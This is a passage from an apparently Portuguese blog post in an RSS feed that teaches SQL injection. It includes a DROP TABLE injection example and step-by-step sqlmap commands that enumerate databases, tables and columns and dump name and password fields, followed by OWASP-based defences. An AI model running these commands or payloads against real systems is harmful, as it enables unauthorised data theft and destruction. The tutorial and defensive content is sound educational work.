&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;nome&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;DROP&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;--' and senha='NuncaMais';&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  SQLMAP
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;`         ___
`        __H__
`  ___ ___[']_____ ___ ___  {1.6.7#stable}
` |_ -| . [,]     | .'| . |
` |___|_  [)]_|_|_|__,|  _|
`       |_|V…         |_|   http://sqlmap.org
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;sqlmap basicamente é uma ferramenta de exploração de vulnerabilidades de sql&lt;/p&gt;

&lt;h3&gt;
  
  
  Descobrindo se um paramento é injetável
&lt;/h3&gt;

&lt;p&gt;Vamos iniciar chamando o &lt;code&gt;sqlmap&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;na sequencia a url para ser explorada, &lt;code&gt;--url teste.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;e por fim, devemos passar o parâmetro de injeção representado pelo numero 1&lt;br&gt;
&lt;code&gt;?id=1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Juntando tudo fica:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;--url&lt;/span&gt; &lt;span class="s1"&gt;'teste.com?id=1'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Se for possível injetar, veremos&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET parameter 'id' appears to be 'MySQL' injectable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Se não for possível, veremos&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;All tested parameters do not appear to be injectable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Listando os bancos de dados
&lt;/h3&gt;

&lt;p&gt;Agora começa a parte braba, vamos listar quais os bancos de dados,&lt;br&gt;
para isso adicionamos um &lt;code&gt;--dbs&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Lista os bancos&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;--url&lt;/span&gt; &lt;span class="s1"&gt;'teste.com?id=1'&lt;/span&gt; &lt;span class="nt"&gt;--dbs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Listando as tabelas
&lt;/h3&gt;

&lt;p&gt;Lista as tabelas&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;--url&lt;/span&gt; &lt;span class="s1"&gt;'teste.com?id=1'&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; banco &lt;span class="nt"&gt;--tables&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Lista as colunas
&lt;/h3&gt;

&lt;p&gt;Lista as colunas&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;--url&lt;/span&gt; &lt;span class="s1"&gt;'teste.com?id=1'&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; banco &lt;span class="nt"&gt;-T&lt;/span&gt; tabela &lt;span class="nt"&gt;--columns&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Dump
&lt;/h3&gt;

&lt;p&gt;Mostra o conteúdo da tabela&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;--url&lt;/span&gt; &lt;span class="s1"&gt;'teste.com?id=1'&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; banco &lt;span class="nt"&gt;-T&lt;/span&gt; tabela &lt;span class="nt"&gt;-C&lt;/span&gt; nome,senha &lt;span class="nt"&gt;--dump&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Oh e agora, quem poderá nos defender?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A opção preferida é usar uma API segura, que evita totalmente o uso do&lt;br&gt;
interpretador ou fornece uma interface parametrizada, ou migrar para usar&lt;br&gt;
Object Relational Mapping Tools (ORMs). Nota: Mesmo quando parametrizados,&lt;br&gt;
os procedimentos armazenados ainda podem introduzir injeção de SQL se&lt;br&gt;
PL / SQL ou T-SQL concatenar consultas e dados ou executar dados hostis com&lt;br&gt;
EXECUTE IMMEDIATE ou exec ().&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use validação de entrada positiva ou “whitelist” do lado do servidor.&lt;br&gt;
Esta não é uma defesa completa, pois muitos aplicativos requerem caracteres&lt;br&gt;
especiais, como áreas de texto ou APIs para aplicativos móveis.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Para quaisquer consultas dinâmicas residuais, escape de caracteres especiais&lt;br&gt;
usando a sintaxe de escape específica para esse interpretador.&lt;br&gt;
Nota: Estruturas SQL, como nomes de tabelas, nomes de colunas e assim por&lt;br&gt;
diante, não podem ser escapadas e, portanto, nomes de estruturas fornecidos&lt;br&gt;
pelo usuário são perigosos. Este é um problema comum em software de elaboração&lt;br&gt;
de relatórios.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use LIMIT e outros controles SQL em consultas para evitar divulgação em massa&lt;br&gt;
de registros no caso de injeção de SQL.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Não exibir logs de erro para o usuário,&lt;br&gt;
logs de erros costumam expor estruturas sql,&lt;br&gt;
e até mesmo partes do código fonte.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://owasp.org/www-project-top-ten/2017/A1_2017-Injection"&gt;Fonte: owasp.org&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>hacker</category>
      <category>pentest</category>
      <category>sql</category>
    </item>
  </channel>
</rss>
